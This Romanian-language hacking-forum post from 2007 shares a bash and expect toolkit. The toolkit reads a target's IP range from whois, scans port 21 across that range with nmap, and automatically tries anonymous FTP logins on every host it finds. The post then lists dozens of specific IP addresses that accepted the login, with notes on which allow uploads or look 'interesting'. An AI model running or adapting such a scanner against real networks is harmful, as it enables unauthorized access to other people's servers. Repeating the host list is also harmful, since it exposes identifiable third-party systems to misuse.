escalation666 Posted August 31, 2007 Report Posted August 31, 2007 Prima versiune a fost in C, iar asta e facuta in bash si except...cine stie in ce limbaj va fi versiunea urmatoare va trebuie:Nmap Parser: wget http://packetstormsecurity.nl/UNIX/nmap/Nmap-Parser-1.11.tar.gztcl: wget http://downloads.sourceforge.net/tcl/tcl8.4.15-src.tar.gzpe care il veti instala cu toate headerele private...pentru ca mai tarziu va da eroare daca nu faceti astamake install-private-headersexpect: wget http://expect.nist.gov/expect.tar.gzscan.pl trebuie sa fie in acelasi director cu ftp.exp si ftp.sh....sau schimbati path-ul in script in caz ca nu vreti sa aglomerati directorul ftp.sh:#!/usr/bin/bashecho "----------------------------------------------------------------------"echo "---------------------------ftp toolz v1.5--------------------------"echo "-----------------------------by 35c666---------------------------"echo "------------greetz to all memberz at rstcenter.com-----------"echo "-----------------------------------------------------------------------"if [ $# != 1 ]; thenecho "Usage: $0 ip"exit 1fiecho "Ip range(-uri) pentru $1 este(sunt):"whois $1 | awk /[/][0-9]/ | awk '$2!~/[a-zA-Z]/ {print $2}' | cut -f1 -d,whois $1 | awk /[/][0-9]/ | awk '$2!~/[a-zA-Z]/ {print $2}' | cut -f1 -d, >> iprange.txtecho "Working for you master....acuma stai linistit si te relaxeaza :)"cat iprange.txt | awk '$0!~/^$/ {print $0}' > ttempmv ttemp iprange.txtnmap -sV -p21 -P0 -iL iprange.txt -oX tezt.xml >/dev/nullscan.pl --xml tezt.xml > tezt.log grep -n "ftp" tezt.log | cut -f1 -d: > temp.txtwhile read linedolinee=$line-6awk NR==$linee tezt.log | awk '{ print $2 }' | awk /[0-9]/ >> listaip.txtdone <temp.txtwhile read linedolinee=$line-7awk NR==$linee tezt.log | awk '{ print $2 }' >> listaip.txtcat listaip.txt | awk '$0!~/^$/ {print $0}' > testmv test listaip.txtdone <temp.txtecho "IP-uri gasite:"wc -l listaip.txt | awk '{print $1}'while read linedoecho $line >> ftp.txtftp.exp $line | awk /230/ >> ftp.txtdone <listaip.txtecho "Vezi rezultatele in fisierul ftp.txt"rm tezt.logrm tezt.xmlrm listaip.txtrm temp.txtsi ftp.exp:#!/usr/bin/expectset site [lindex $argv 0]spawn ftp $siteexpect "Name"send "anonymous\r"expect "Password:"send "eu@hell.com\r"send "quit\r"expect eofsi bineinteles chmod +x ftp.sh si chmod +x ftp.expsi cateva rezultate obtinute aseara:66.66.82.103230 Anonymous user logged in.66.66.93.172230 User logged in, proceed.66.66.96.145230 Logged on66.66.121.255230 Anonymous user logged in66.66.130.102230 Login successful.66.66.138.61230 Guest login ok, access restrictions apply.66.66.188.153230 Anonymous user logged in.66.67.34.7230 Anonymous user logged in.66.67.48.11230 Login successful.66.67.49.166 --> la asta se poate uploada230 Anonymous user logged in66.67.58.38230 Anonymous login ok, restrictions apply.66.67.96. --> interesant230 User logged in, proceed.66.67.99.36230 Anonymous user logged in.66.67.101.194230 Login successful. Have fun.66.67.117.101230 User logged in, proceed.66.67.120.94 --> interesant230 Anonymous user logged in66.67.122.14230 FTP Server Ready66.67.124.246230 Anonymous user logged in.66.67.126.67230-Welcome to Hewdiddy FTP66.67.136.97230 Anonymous user logged in66.67.136.184 --> interesant230 Anonymous user logged in. 66.67.137.236 --> niste muzik230-Feel free to poke around. Take what you like. 66.67.171.110230 User anonymous logged in.66.67.181.120230 Anonymous user logged in.66.67.186.243230 Anonymous user logged in.230-Guest logged in.230 You are allowed 165 minutes of use for this session.66.67.214.185230 Anonymous user logged in.66.67.219.32230 Quote